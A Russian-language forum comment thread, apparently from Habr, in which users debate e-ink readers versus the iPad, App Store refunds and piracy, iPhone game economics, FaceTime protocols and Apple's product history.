Исключительно технарский коммент. Именно поэтому Apple рвет конкурентов во многих рынках на запчасти. ПОтому что они думают с точки зрения пользователей, а не технарей.

Дано: e-ink, черно-белый, медленная скорость перерисовки экрана, четкий текст
Дано: IPS, цветной, может показывать что-угодно, даже видео, четкий текст

Ворос: Что выберет пользователь?
DeeoniS
Батарею на забудьте. Тоже важное различие.
vitamin
Достаточно технарское.

«IPS, цветные книги, youtube, wired как в фантастичских фильмах и 10 часов работы батарейки»

против

«eink, чернобелое, батарейки хватает на 3000 страниц текста.»

пользователь скажет «хочу двигать картинки в wired» :))

Не каждый пользователь, естественно

Zorkus
Время работы — пользовательское различие, не технарское. И довольно важное.
dmitriid
Согласен. Но устройство, позволяющее играть/смотреть видео/читать книги 10 часов без перерыва уже достаточно выгодно смотрится на фоне eInk'а.

Опять же повторюсь, не для всех, естественно :)
DeeoniS
Это кому что надо. Мне от читалки нужна только замена бумажной книге и чтобы глаза не напрягались после рабочего дня. А посерфить/поиграть/… — десктоп/лэптоп на выбор.
artsiom
Если пользователь читает, а не смотрит «что угодно», то выберет e-ink. Бумажная книга — она тоже медленно перелистывается, и ничего, весь мир читает.
wasia
Смотря для чего. Если книжки читать — e-ink, т.к. цветастость нафиг не сдалась, а очень большое время работы — крайне весомый плюс. Если же заниматься много чем и портативное, то айпад или айфон не единственный вариант на самом деле, просто маркетинг у эпл работает хорошо.
artsiom
Это все от того что пользователь чаще выбирает девайсы с обилием свистелок и перделок, а не опирается на действительную надобность.
Если же умерить пыл и признать что устройство тебе нужно в основном для чтения, тогда e-book то что надо.
TerrorDroid
Мне кажется здесь дело не в том что лучше для людей, а в том что лучше поддается контролю со стороны производителей/поставщиков. Эппл предлагает прозрачный инструмент получения денег с продаж своих книг. Это главное. Только не стоит по продажам судить о том, что люди читают. Я бы дал продажам 50 или меньше процентов от количества книг, читаемых с электронных читалок.
Enuriru
> Не ЗА 24 часа, а в течение ПЕРВЫХ 24 часов после покупки, если вы успеете понять что приложение были приобретено вам по ошибке.

Большинство казуальных игр можно пройти за пару часов. А потом вернуть игру в маркет.

Благодаря этому некоторые зарабатывают в AppStore 250 000, а в Marketplace — 1 500.
zhindetz
Кем же это надо быть, что бы качать игру лишь для того что бы БЕГОМ (НУЖНО БЫСТРО БЫСТРО!!!!) пройти игру (зачастую без сюжета) и как можно скорее её вернуть — не люди, а терминаторы какие то. Игры покупают что бы убивать время в очередях, транспорте, на скучных лекциях (привет студенты!)) и т.д.

Другое дело ПС3 или ящик, там есть интересные игры с «суперсюжетом» которые хочется проходить только лишь ради самого интереса — как фильм посмотреть, после чего можно легко продать/сдать/выкинуть/положить_на_полку/.../ игру. Но мобильные казуальные игры это совсем другое.

П.С. Конечно я утрирую, люди есть разные, но имхо мне кажется вы преувеличиваете.
Enuriru
> Кем же это надо быть, что бы качать игру лишь для того что бы БЕГОМ (НУЖНО БЫСТРО БЫСТРО!!!!) пройти игру (зачастую без сюжета) и как можно скорее её вернуть — не люди, а терминаторы какие то. Игры покупают что бы убивать время в очередях, транспорте, на скучных лекциях (привет студенты!)) и т.д.

Игра на 3G/WiFi качается пару минут. Как раз на время «постоять в очереди». Постоял в очереди, поигрался, вернул деньги. Судя по жалобам некоторых девелоперов, судя по тому, что Gameloft плюнул на маркетплейс и решил параллельно продавать игр с собственного сайта, проблема все же есть.

> Но мобильные казуальные игры это совсем другое.

Именно.
andoriyu
Согласен, но если подходить с этой стороны то нужно так же учитывать пиратство.
Вам не кажется что человеку, который «Постоял в очереди, поигрался, вернул деньги» проще будет скачать те же игры только на всегда и вообще не парясь о каких то там возвратах?
zhindetz
2 бакса на 10 игр — это 20 баксов. А американцы умеют деньги считать :)
bediary
Я писал о пиратстве. Вместо аппстора можно через браузер в том же телефоне зайти на какой-нибудь другой сайт, и там же можно скачать те же игры с такой же скоростью и легкостью совершенно бесплатно.
dmitriid
Тем более :)

На самом деле, люди, возвращающие деньги, не обязательно хотят искать кряки и т.п. Тем более, что казуалки, например, и не предназначены для того, чтобы висеть в телефоне вечно
kurokikaze
Насчет Gameloft — я там работаю и отвечу.
1. Проблема с возвратами.
2. Компании выгоднее и удобнее продавать через собственные сайты по многим причинам, благо Андроид платформа не требует анлоков для этого.
dmitriid
Кстати, если не секрет, насколько актуальная проблема пиратства?
kurokikaze
Могу сказать только по европейскому региону, по остальным данных нет, но думаю можно самим догадаться.
Билды игр скорее всего сливаются нашими китайцами, которые занимаются портированием игр на все возможные телефоны. В западных странах (Германия, Франция) потери от пиратских билдов небольшие — видно, менталитет все же другой, и люди предпочитают заплатить 3-5 евро в среднем и спокойно скачать игру. Со многими операторами есть соглашения и они так же заинтересованы в продаже игр. К примеру, они имеют свой % и за это сливают нам порции юзеров для спама :), размещают рекламу на своих порталах и т.д. В xUSSR же все хуже — продажи там, мягко говоря, не очень, а людей с играми GL на телефоне встречаешь повсюду :) Хотя игры и дешевле (сейчас глянул основные сайты — для Украины 17 грн, для России 70 руб.) Да и операторы наши не торопятся сотрудничать…
dmitriid
Элементарно, простой пример: студент, впереди 3 лекции за день. Скачал игру, успешно прошел, вернул. В следующий раз — следующая игра.
Disturbed
Какие именно цифры? Я их много привел.
Maxmyd
У вас есть другие цифры? Часть приведенных цифр подтверждается разными источниками. Некоторые будут подтверждены или опровергнуты в ближайшие месяцы.
Cooler_cool
Единственная неподтвержденная цифра у меня, кажется, 22% книжного рынка.
Grage
я думаю, что по большинству из них вы можете преспокойно нагуглить пруфлинки, если владеете английским в достаточной степени, если уж так не верите цифрам.
vtv
А Вы правда считаете, что все врут, кроме тех, кто нравится лично Вам ;-)
dmitriid
понятно. ну значит в Вашем мире все врут. в моем все говорят выгодную для себя правду. и по крайней мере я готов считать ее правдой пока сам или кто-то другой их не опровергнет. и если кого-то часто опровергают, тогда я не буду по умолчанию последующие их утрвеждения считать правдой. как-то так.
tree
Вы врете!
dmitriid
Насчёт цифры по количеству приложений в App Store задуматься можно — возможно, они просто считают абсолютно ВСЕ приложения — Lite- и Full-версии, мультиплеерные игры с 20-тью, 30-тью и 50-тью бонусами etc. Но и без этого количество приложений впечатляет и что самое главное — для iPhone хватает полезных качественных приложений, будь-то читалка/создавалка файлов таких-то форматов, распознавалка песен, словарь или что-нибудь ещё.
tree
Это уже количество установок приложений.
dmitriid
я искренне верю счётчику на главной странице Контакте. Это уже сто раз обсуждалось
tree
По поводу FaceTime и Skype. Есть мнение, что Apple будет пробовать договориться со Skype встроить их эту фичу себе в софт. Время как нельзя кстати: Skype только-только всерьез занялась видео, и для них выход Skype на прямые звонки на мобилу — было бы суперски. Благо Apple уже позаботилась, технологию разработала, и бабла не потребует.

А для нас, для пользователей, такое означало бы однозначно, что видеозвонки приходят в нашу жизнь наконец-то.
dmitriid
Речь о мобильных видео звонках.
Disturbed
очень прозрачно читается намек: ждите этот экран на iPad'ах в следующем году

Это слишком уж спорно на мой взгляд. Тема уже немного обсуждалась в заграничных гаджет блогах. Если сформулировать коротко: дисплей размера iPad с таким же ppi как у iPhone 4 получиться просто огромного разрешения, для быстрой и эффективной работы с которым нужен будет в разы более мощный процессор/видео (про 3D я вообще молчу), что напрочь убьет срок работы от аккумулятора.

Фишка не просто в том, что такой дисплей сложно будет реализовать, а и в том, что для iPad он не очень то и нужен. Дело в том, что iPhone и iPad используют все-таки по разному, к примеру, для чтения текста/сайтов телефон держат в разы ближе к глазам, чем планшет — поэтому так и критичен большой ppi для удобного чтения с телефона ибо чтение идет «с близка», а вот планшет никто не будет держать также близкой к глазам, как телефон, поэтому для планшета можно и не задирать ppi.

P.S: может в новом iPad дисплей и обновят, даже могут увеличить ppi, но я очень и очень сомневаюсь, что до таких запредельных величин, как в iPhone 4.
TerrorDroid
логично. но могут увеличить и до запредельных величин. просто не через год, а через 2. когда технологии отображения и питания позволят не сжирать быстро батарейку таким экраном.
Disturbed
Ну, я говорил с позиции обновления к следующей версии. Понятное дело, что в течении нескольких лет мы можем увидеть вообще все что угодно — технологии не стоят на одном месте :)
Disturbed
согласен. причем они редко так радикально обновляют версии. в лучшем случае это будет через обновление.
dmitriid
Увеличение ppi на айпаде в ближайшее время мне кажется маловероятным.
На айфоне разрешение увеличили ровно в 4 раза, что позволяет делать вменяемый апскейл существующих приложений без артефактов (но и без достоинств Retina Display, за исключением векторных объектов вроде текста). По сути сейчас есть два вида приложений: для айфона, и для айпада. Увеличить разрешение айпада до 2048х1536 в ближайшее время просто нереально, а вводить третий тип приложений — лишние неудобства как разработчикам, так и пользователям.
dmitriid
>>Увеличить разрешение айпада до 2048х1536 в ближайшее время просто нереально

А почему нереально-то? Всего в 4 раза больше пикселей. Ну так через год и процессоры станут мощнее, и шейдеров можно больше прикрутить, и оперативки добавить. Для отображения статического текста и несложной графики хватит и существующего процессора (у меня фотоаппарат умеет fullhd-видео воспроизводить на телевизоре, а это всего лишь в полтора раза меньше пикселей), а игры смогут использовать и нынешнее разрешение.

dmitriid
Сейчас ограничителем в развитии мобильных гаджетов и техники в большей степени является не вычислительная мощность, а объем аккумуляторов, хотя и они развиваются, но не так быстро, как процессоры :)
dark_dar
Во-первых с ростом разрешения многократно возрастает цена матрицы (а IPS-матрицы и так жутко дорогие).
Во-вторых, помимо видео и стандартных приложений, есть игры. Игры в таком разрешении мобильный процессор вряд ли потянет, даже через год-два.
artsiom
Во-первых дополнительные две сотни баксов погоды не делают.
Во-вторых читайте последние шесть слов моего предыдущего комментария.
artsiom
увеличение ppi на мобильном телефоне до 356 — год назад было маловероятным, ведь для него нужен мощный графический процессор…
pens
Все хорошо описанно.

Но есть основная проблема связанная с AppStore — рынка нет. Это как бы пародокс — объем рынка есть, продажи есть — а как можно заработаьт нормальные деньги никто не знает.

Я вот много в последнее время общался с разработчиками, издателями.

На вопрос что нужно делать чтобы вложив 400к получить хотя бы 500к в разумное время с разумными рисками на iphone app/game рынке ответить неможет никто. Если говорить о 40к и 50к, то тут легче, хотя опять же если говорить о разумных рисках то без кроспромоушенна не обойтись. А найти хороший кросспромоушен можно только либо при наличии своих прложений, либо заплатив существенно больше 40к.

И про перетягивание казуального рынка это тоже сильно. Казуальщики нынче имеют минимальные риски и твердо знают сколько и в течении какого времени они могут заработать. То что твориться на айфоне и айпаде для них это лотерея, в которую прикольно играть только потому что это дешево стоит.
Да и аудитория не та, совершенно не та. Ну и опять же PSP и казуальные игры в одном предложении это достаочно смешно, скорее о приставках кабельного ТВ можно говорить.

OmKol
а может просто тот кто знает вкладывает и не говорит как он это делает? ;-) ну и да, никто еще не отменял продажи напрямую. реклама там всякая и т.п. считайте, что апстор это просто техническая площадка, а не маркетинговая. тогда думаю все рассуждения снова вернутся в понятное и привычное направление. как думаете?
OmKol
Угу, кто-то умеет зарабатывать деньги и не хочет зарабатывать больше денег? :)

Апстор как техническая площадка это вообще не рынок. Это лотерея. Без маркетинга там вообще нельзя заработать разумные деньги с разумными рисками.
Даже с маркетингом сейчас риски очень и очень велики.

Awake
не путайте умеет и зарабатывает и умеет и рассказывает всем как это делать :-)

>>Без маркетинга там вообще нельзя заработать

freeozone
не путайте умеет и зарабатывает и умеет и рассказывает всем как это делать :-)

>>Без маркетинга там вообще нельзя заработать

а где можно? ;-)
dulepov
В казуальном рынке можно. Если вы делаете казуальку соответствующего класса, то о маркетиге вам думать не нужно. Все сделают за вас площадки и издатели.
Т.е. на казуальном рынке вам как разрабочика волнует одно — сделать продукт соответствующего класса. Как вы его сделали вы практически гарантированно получили прибыль.
TheMengzor
поправьте меня если я не прав, но для апстора тоже полно успешных издателей. и не думаю что они не готовы взяться за продвижение приложения соответствующего класса.
TerrorDroid
Полно это очень сильно утверждение. Но несколько да есть.

Но их механизм работы можно описать на пальцах следующим образом — «бросаем в воду, если само поплывет то будем подерживать». Странно если бы они были не успешные при таком подходе.

Т.е. есть более менее отпработанные механизмы как попасть из топ30 в топ10, как более длительно время удержаться в топ10. Все эти механизмы на 90% кросспромоутинг, когда мы в одно спешное приложение добавляем ссылку на другое.

Издатели тоже не дураки, они тоже видят большие риски и совершенно не ходят разделять их с разработчиком.
artsiom
что ж может так и есть. хотя честно говоря я не понимаю как может быть иначе :-)
TerrorDroid
Подругому это когда издатель в договре прописывает что он готов выдать авансом деньги за XXXXX копий. Т.е. он готов разделить риски.

Или хотя бы так — в казуалке если издатель/площадка готовы взять игру то это уже означает что она принесет денег.
Если Sony дала апрув на некстен то это тоже уже что-то означает.
Если инвесторы вам дали 100 миллионов на фильм — это то тоже в какой то мере гарантия.
artsiom
>>Подругому это когда издатель в договре прописывает что он готов выдать авансом деньги за XXXXX копий. Т.е. он готов разделить риски.

Так бывает для новичков?

>>Или хотя бы так — в казуалке если издатель/площадка готовы взять игру то это уже означает что она принесет денег.

Сколько этому рынку лет? Я думаю и аппсторовские издатели до этого дорастут.
TimTowdy
> На вопрос что нужно делать чтобы вложив 400к получить хотя бы 500к в разумное время с разумными рисками на iphone app/game рынке ответить неможет никто.

Это одна из главных претензий к AppStore, согласен.

> Да и аудитория не та, совершенно не та. Ну и опять же PSP и казуальные игры в одном предложении это достаочно смешно

PSP зря не тянет на свою сторону казуалов. Это чуть ли не главная ниша бля мобильных приставок. Sony даже цены на разработку опускает. А толку?
Goodkat
та аудитория или не та, а мой киндер уже 4 недели как забыл про psp и ds, юзает исключительно ipad
тут надо не умничать, наблюдать поведение потребителей
TerrorDroid
Так можно сказать об о всем, лол. Вполне очевидно, что для успешной реализации проекта (не важно программное обеспечение это, фильмы или какая-то продукция) нужно суметь не только хорошо его реализовать, а и суметь сделать свой продукт популярным. Хорошие фильм, игра, программа (или другой продукт) легко могут провалиться на рынке, если не достигнут определенной доли популярности, так и что-то посредственное (но популярное) может быть успешным. Это рынок, плохой или хороший, но рынок. Успех на нем не гарантирован никому — это же бизнес :)
TimTowdy
Когда вы делаете продукт ААА класса — приставочную игру, казуалку, фильм то вы с очень большой вероятностью знаете сумму котору вы сможете заработать, и практически уверены что отобьете деньги. Риски не отбить деньги это считанные проценты. И чем больше качественный продут вы делаете, тем больше вы можете заработать и тем менье эти риски.

Более того, на этих рынках есть более менее разумная связь между вложениями в маркетинг и отдачей.

На рынке айфон игр этого всего нет. Поэтому я в последнее время склонен считать, что и рынка то и нет :) И не я один.
Goodkat
Когда вы делаете продукт ААА класса, то, с великой долей вероятности, в его создании участвуют профессионалы с хорошим опытом того, как сделать успешный продукт, поэтому, риски и сводятся к минимуму :)
banzalik
И? А когда вы делате продукт ААА класса для айфона и в его создании участвую профессионалы с хорошым опытом того, как сделать успешный продукт (именно на айфоне — потому как уже сделали не одни успешный продукт на нем), то даже они не могут предсказать судьбу следующего проекта. Причем это не как в казуалках — разброс от -20% до 150%, а разброс от — 90% до +500%.
YoungSkipper
Отлично написано. Часто стоит смотреть не только «под ноги», но и немного дальше.
artsiom
статейка интересная, но только одно не пойму, почему такое название топика?
яблокофилам это не интересно, так как раз они это все и получают, а вот остальные (psp, nintendo, nokia, android, и тд и тп) должны задуматься и начать действовать еще вчера.
ибо apple это еще тот гигант с великолепной маркетинговой политекой, раздавит и не заметит.
YoungSkipper
Чтобы привлечь к топику внимание :) Ну и примерное описание ситуации :)
artsiom
ну например nintendo выпустит новую версию DS (3DS) уже в октябре. новая psp тоже в разработке (pspПЩ не считается).
так что все уже давно задумались и начали действовать)

кстати nintendo считает своим главным конкурентом в области мобильных игровых приставок не sony, а именно apple
artsiom
nintendo вообще молодцы. такий apple игрового мира :)
YoungSkipper
>кстати nintendo считает своим главным конкурентом в области мобильных игровых приставок не sony, а именно apple

еще бы они считали главным конкурентом своим приставкой где есть только «камеди и гоначки». Sony вообще последнее время не радуют, выпустили консоль, бжлад, с OGL как у айфона + шейдеры, это надо было догадаться. А нинтедо — выпустили слабую консоль, которая проигрывает по всем тех характеристикам (WPA не конектит, лол) и заняли нишу казуалок и инди. А все потому, что никто не хочет на своей карманной консоли/телефоне имет игру весом в пару сотен мегабайт (а то гиг) которая проходится за 2-3 часа и стоит 10-20$, всем надо убийцу времени. Я лучше Robot Unicorn Atack куплю под айфон чем
artsiom
>> а сколько нужно времени на создание игры среднего уровня для PSP/Nintendo/PC? как минимум пол-года.

>Это проблемы PSP и Нинтендо.
ну вообще то это проблемы айфона.

В крупную разработку не вкладываются, потому что есть некислый шанс уже в конце разработки получить бан приложения.
Sony и Nintendo более тесно сотрудничают с разработчиками.
YoungSkipper
Поэтму эти проблемы сейчас решаются за счёт порта существующих тайтлов на айфон.

FF, BrokenSword, GuitarHero, etc
artsiom
Это миф. Приложения для приставок точно также проходят процедуру аппрува, к тому же еще более жесткую чем в аппсторе. По-моему даже статья была на хабре об этом.
YoungSkipper
Ну так правильно.
Без жесткой процедуры аппрува портативные консоли бы наводнили сырые игры.
Другой вопрос в том, что их не забанят по причине
«В игре слишком много смайлов» (реальная причина бана одной из игры, аля Bejeweled, которую разрабатывал мой товарищ) уже после того как игра разработана и пущена реклама.
artsiom
Не понимаю почему вы называете это баном. Уберите смайлы и эппл пропустит игру в аппстор.
На приставках точно так же могут не пропустить игру уже после того как она разработана.
dmitriid
Проходят, но там производители приставок изначально тесно взаимодействуют с разработчиками, читают proposal и т.д. У Apple политика другая — «вы сначала сделайте, а потом мы посмотрим». Для разработчиков игр это еще не большая проблема, потому что у Apple редко возникают трудноисправимые претензии, зато разработчики полезных приложений часто напарываются на ограничения вроде

«Вы дублируете базовую функциональность iPhone.»
«Ваша программа содержит встроенный интерпретатор.»
«Ваша программа плохо взаимодействует с AT&T сетями и т.д.»
и т.д. (в т.ч. политическая цензура)

В этом случае, разработчику ничего не остается, как выкинуть проект целиком или полностью пересмотреть концепцию. А перед началом разработки у Apple никак нельзя спросить, примут они такое приложение или нет.
sudoers
95 приложений из 100, которые вы напишите, попадут в app store, вероятность написать 100 приложений под айфон гораздо ниже :)
TerrorDroid
вас глаза вытекут.
Ммм, я читаю вообще с экрана коммуникатора, помногу (2-4 часа в день), ничего не вытекает (я уж молчу, что почти весь рабочий день пялюсь во вполне себе обычный монитор). «Преимущество» e-ink'а тоже чересчур маркетологами распиарено, многие (я в том числе) не чувствуют какой-то впечатляющей разницы между хорошим ЖК-дисплеем и e-ink, а вот отсутствие цвета (в большинстве случаев) и низкая скорость прорисовки очевидны. КОгда эта технология дорастет до быстрой прорисовки и полноцвета, тогда будет интересно.
YoungSkipper
зачем нужен цвет для чтения электронных книг, я цветную книгу последний раз читал ну наверное в школе (не сочтите за оскорбление) — там учебники цветные.
мне e-ink нравится тем, что он от книги ничем не отличается, страницы листаются с такой же скоростью, с которой я их листаю, и даже быстрее, выглядит он также, т.к. работает в отраженном свете, я могу читать его и вообще не думать о зарядке по 3 недели, при этом читая по 3-4 часа в день.
TerrorDroid
Вы не поверите, книги бывают с картинками. Я уж молчу о периодике. Да и вообще, зачем мне таскать несколько устройств? Еду я на работу — читаю, обратно — киношку смотрю или в игрульку гамаюсь.
В общем, tastes differ.
YoungSkipper
ну да, бывают, я вроде и не заявлял ничего, что может этому противоречить. Журналы глянцевые, да, — не для ридера, но картинки он нормально и достаточно быстро отображает.
Если вы про коммуникатор говорите (про несколько устройств в одном), то я замечу, что дисплей там все же раза в 2,5 поменьше будет.
А если про айпад, то одной рукой 650 грамм на весу сложно будет держать (в транспорте ведь еще второй рукой держаться за что-то надо).

Единственная проблема, с которой я на своем ридере сталкивался — это пдф-ки, которые представляют собой сильно ужатые картинки + текст наложен, это очень сильно тормозит, но это неудивительно, потому что это идет с тормозами даже на нетбуке.
VadimUA
Я часто читаю техническую литературу, в которой постоянно попадаются схемы, графики, диаграммы. И, увы, градациями серого невозможно передать информацию с этих элементов. Также в тексте часто попадаются куски кода/конфигов, ессно, синтаксис подсвечен в большинстве случаев. Я уж лучше буду ютиться на 3.7'' экране Desire, чем «радоваться» 7'' с градациями серого, который абсолютно бесполезен для моих задач. Читать романы/детективы — да, он подходит, тематические журналы и спец. литературу — нет, так зачем мне девайс, который только половину задач способен решить? Кроме того, коммуникатор запросто помещается в карман, а я очень люблю быть налегке, не таскаю даже маленькой сумочки, а куда засунуть такой девайс? За пазуху?
Proklado4ka_A11ways
Я не очень понимаю, вы под «технической литературой» подразумеваете цветную периодику или книги с цветными картинками? Если журналы, то, да вам ридер не подходит, если книги, то это странно — раньше я довольно часто заходил в книжные магазины в отделе литературы, связанной с компьютерами, и вообще не помню, чтобы мне хоть раз попадалась книга с цветными иллюстрациями или чтобы там была подсветка кода.
dmitriid
Интернет «развращает» :) Уже хочется подсветки кода :) Потому что это удобно и нет никаких технических причин, почему бы это не сделать.

И встроить интерактивную консоль, которая общается с сервисом вроде tryhaskell.org, tryruby.org или tryerlang.org

мммм…
Meriados
и то и другое. Многие современные книги, а особенно толстые мануалы, вполне себе цветные. Кроме того, я обычно читаю не оцифровки бумажных книг, а изначально цифровые издания. Про онлайн-чтение книг/блогов/форумов я вообще молчу, тут читалка просто отдыхает по сравнению с полноценным браузером коммуникатора. В общем, читалки — нишевый продукт, специализированный. А коммуникаторы становятся нормой, во многом благодаря айфону с его шикарным usability, а там и остальные подтягиваются, делают интерфейсы более человеческими.
dmitriid
Вы знаете я работаю по 12 часов за не самыми лучшими мониторами в основном с текстовой информацией — и как то глаза не вытекли. А почитать вечером книгу, ну или в автобусе (метром мой город обделен) — ну это час-два в день максимум.

Учитывая где то 10 часов автономной работы — практически неделя. Раз в неделю можно гаджет и зарядить. И зачем мне этот eInk?? Листать 3000 страниц и радоваться что у меня не села батарейка?
andoriyu
Уже 2 года читаю исключительно с айфона, никаких проблем.
duhovnik
5 лет тоже читал с разных мобильных экранов, в 2007 приобрел электронную книгу, но по прежнему проводил кучу времени за монитором. Стал чуть-чуть хуже видеть вдаль. Пришел к врачу, она мне пообещала с такими темпами за чуть ли не полгода обзавестись настолько толстенными линзами, что мама не горюй и скорее всего про компьютер вообще забыть. Теперь приходится каждый час делать 15 минутную передышку и периодически капать не особо приятные капли после которых на несколько часов нифига не видно. Вот вам и никаких проблем в течении 8 лет, а потом оба — и глаза можно за полгода потерять.
danilissimus
> вы меня рассмешили. на айфоне игр так много, потому, что это в основном казуалки и их разработка не требует ни особых знаний
1) я думаю эти игры создаются для совсем другой категории людей (не геймеров), мои родители с огромным удовольствием играют к примеру в Labyrinth, им не важен многолетний сюжет игры, а важен сам процесс игры (акселерометр делает свое дело)
2) Эти игры созданы для мимолетного развлечения, когда есть немного свободного времени, и они безумно увлекательны :-)

п.с. все «серьезные» игры выпущенные на iOs у меня не задерживались на аппарате :-)
dmitriid
Отлично название топика. И пост отличный.
Впору вешать табличку «осторожно, работа мысли».
Я конечно «яблокофил», но анализ мне понравился не тем, что Джобс «начинает и выигрывает».
А тем, что если происходящее ясно для Dmitrii, и, я уверен, понятно Amazon'у с «приставочниками».
Ау, господа, вас имеют прямо на ваших глазах. Очнитесь и создайте что-либо реально более крутое… если конечно сможете.

P.S. Автору респкт и уважуха. Коротко и понятно написано.
Есть чему поучиться авторам говноанализов и говнотэгов типа habrahabr.ru/blogs/apple/95837/
A1lfeG
Да ладно :) Я верю в то, что на хабре адекватных людей все же больше :) Правда, они не размениваются на холивары, а как раз создают что-нибудь крутое :)
wasia
Т.е. Apple предполагает побороться с рынком цветных e-ink?
TimTowdy
Наверняка. Если e-ink даст скорость обновления информации, сопоставимую со скоростью обновления IPS, Apple будет первой, кто на такой экран перейдет.
A1lfeG
Будет интересно, потому как в сравнении ридера Sony PRS-505 и iPad после недели использования второго, на ридере читать много приятнее, глаза меньше устают, а iPad — удобнее по остальным понятным функциям, но читать на нём хуже.
TimTowdy
Насколько я помню, видео работает через открытый и стандартизированный XMPP (через который Jabber работае). Чего бы его не взять, чтобы не городить какой-то FaceTime?
bruce
Какое видео и где?

В FaceTime все работает на не менее стандартизированых протоколах :)
banzalik
Что значит «где»? Я вас не понял.

Я не знаю на каких стандартизированных протоколах работает FaceTime, но XMPP в разы более распространённый. И клиентов куча. Тот же GTalk.
bondbig
Ну, было сказано: «Насколько я помню, видео работает через открытый и стандартизированный XMPP (через который Jabber работае)»

Вот я спросил: «Какое видео, где работает?»

Потому что видео через XMPP — это всего лишь один из возможных вариантов передачи потокового видео. Причем далеко не самый распространенный. Адобовский RMTP наверняка более распространенный :)

В презентации на фоне была куча аббревиатур, связанных с телефонией. То есть предлагаемый стандарт может быть интереснее, чем Video over XMPP
EiZeRR
Да, я как-то не окончил мысль.

По поводу не распространённости XMPP и распространённости RMPT дайте ссылку на статистику, пожалуйста.
bondbig
RMTP — это адобовский протокол для передачи потокового аудио и видео во Flash'е. Могу предположить, что Flash с потоковым аудио/видео будет более популярный, чем видео в xmpp
EiZeRR
И где они и сколько народа ими пользуются? Каково удобство использования? Сколько ресурсов оно требует? Возможна ли прогрессивная оптимизация видео на лету в зависимости от условий приема/передачи?

Ну и т.п. :)

Учитывая, что XMPP-шный iChat у Apple'а уже очень давно, то, видимо, чем-то XMPP их не устроил
bondbig
На первый вопрос я ответа я не знаю. Неудобств никаких не увидел.

Протокол открыт, можно прочитать его спецификацию.
EiZeRR
В том-то и дело :) Открытость протокола не подразумевают его приспособленность к чему-либо.

В частности, XEP-0180 предлагает использовать те же протоколы, что и Facetime.

Так что остается дождаться открытия протокола Facetime. Может быть, что это будет просто XEP.
dmitriid
> На презентации iPhoneOS 4 Джобс показал любопытный слайд: picture
> Только вдумайтесь в эти цифры.

Вдумался. К тем же успехом, в этот слайд можно было добавить кол-во игр на PC.
Разные приложения сравнивают, разного уровня и сложности.
Вас это не смущает?
bondbig
>>К тем же успехом, в этот слайд можно было добавить кол-во игр на PC.
какое отношения игры на ПК имеют к играм на мобильных устройствах?

>>Разные приложения сравнивают, разного уровня и сложности.
>>Вас это не смущает?
НУ это да, Джобс просто посчитал все игры на ифоне, от мегахитов до отстоя, от простеньких казуалок до сложных и красивых игр от крупных издателей.

Но числа символизируют.

Проблема Сони и Нинтендо в закрытости платформы, как бы дико это не звучало в отношении Эппла :)
Грубо говоря, приложение для ифона может написать любой человек, и оно, скорей всего, попадёт в аппстор — рай для стартаперов :)
ivan_feanor
яху там был еще с 2007 года
Enuriru
Что значит обиделся? :)
Он дает выбор, все правильно.
CLR
по делу, приятно было почитать.

Лично я не отношу себя не к любителя не к противникам яблочных продуктов. Мне нравится политика компании. Джобс всегда показывал миру что-то новое. Первый персональный комп, первый наладонник, первый цифровой фотик итп. За время его отсутствия в компании я не помню ни одной новинки, которая стала бы столь широко известной. Однако вернувшись в компанию, Джобс переплюнул самого себя. Вместо того, чтобы показать миру что-то новое в стиле Эпла, он решил самоутвердится. В хорошем смысле слова. И не нашел лучшего способа для этого, чтобы поставить раком таких гигантов как nokia, sony и хорошенько их, простите, выебать. Мы видели это с iPod, мы видели это с iPhone.
Джобс наполнил свою гордыню, и сделал переходный продукт, iPad, что-то между тем, к чему мы уже привыкли и тем, чего ещё никогда не видели.
Учитывая его колоссальный опыт «взять и всё проебать» и поверив в то, что он учится на своих ошибках, я почти уверен, что логотип яблока в нашей жизни теперь будет появляться всё чаще и в самых разных местах.
А джобс как и прежде будет ходить в джинсах, водолазке и рулить SL`ем.
Proklado4ka_A11ways
> первый цифровой фотик

эээ?

Насколько я помню, это был Кодак (не считая и некоторых других попыток других компаний и кого-то типа НАСА)
seleko
Так и переписывается история.
dmitriid
en.wikipedia.org/wiki/Quicktake

The Apple QuickTake (codenamed Venus, Mars, Neptune) was one of the first consumer digital camera lines

но автор предыдущего комента переборщил называя его первым.
tokapb
сколько она стоила? там же чуть ниже гляньте про 1994 год. не стоит путать первое устройство и одно из первых ПОТРЕБИТЕЛЬСКИХ устройств. эпл редко делает что-то первая, гораздо чаще она делает что-то массовым. или пытается хотя бы. ;-)
dmitriid
Простите, но какой отношение к персональному компьютеру и фотоаппарату имеет Джобс? Первое нечто, что можно было считать предками PDA всё-таки выпустил Palm.
stdob
palm был позже ньютон меседж пада
ru.wikipedia.org/wiki/Apple_Newton
dmitriid
«Первое нечто, что можно было считать предками PDA всё-таки выпустил Palm.», пишу я. Как бы намекая, что Newton это что-то другое.
stdob
Newton это PDA и есть. просто палм пожалуй первый выпустил карманный PDA.
bolk
КПК и PDA это не одно и то же. PDA это personal digital assistant. а кпк это карманные ПК.
dmitriid
это некорректное название. повторюсь, КПК и PDA это не одно и то же. PDA появились раньше.
bolk
Как на английском будет КПК тогда?
dmitriid
Наверное, Pocket PC
bolk
Ну тогда Newton — это точно не Pocket PC.
dmitriid
а я и не говорю, что ньютон это pocket pc. ньютон это pda
bolk
я не один не считаю Newtown PDA


Далее Вы цитируете

Зарождением эпохи персональных помощников можно считать 1992 год, когда компания Apple представила...


PDA = personal digital assistant = персональный цифровой помощник (простите за грубый перевод). Своей цитатой Вы только опровергли себя :)

Далее, идет на Википедию:
The Newton platform was an early personal digital assistant (PDA) hardware/software…


dmitriid
Ваше повествование захватывает, конечно… Это как студент отвечает билет по истории и разливается: «Деникин думал…», на что профессор ему резонно отвечает: «Молодой человек, откуда вы знаете, что думал Деникин? Придерживайтесь фактов». А факты, в частности, таковы: Джобс к первому наладоннику (Ньютону) никакого отношения не имеет и вообще он его прикрыл (ровно то же и с цифровой камерой, кстати). Собственно, Ньютон как раз одна из «новинок, которые стали хорошо известными за время его отсутствия в компании», хотя и кроме нее тоже были довольно неплохие вещи, вроде ColorSync.
bolk
Соглашусь, вошел в раш =)
Проблема Джобса и Эпла в целом того времени в том, что они опережали время. Что ньютон, что мыльница, что ПК, кстати, обогнали своё время, были не нужны тогда.
dmitriid
А мне кажется, что опережать — как раз их стратегия. Они не боятся делать ставку на новые штуковины, например в первом iMac'е в 1998 они убрали дисковод и добавили USB, когда на рынке практически не было вообще никаких USB-устройств. Никто из PC-производителей на такое бы не решился.
Incole
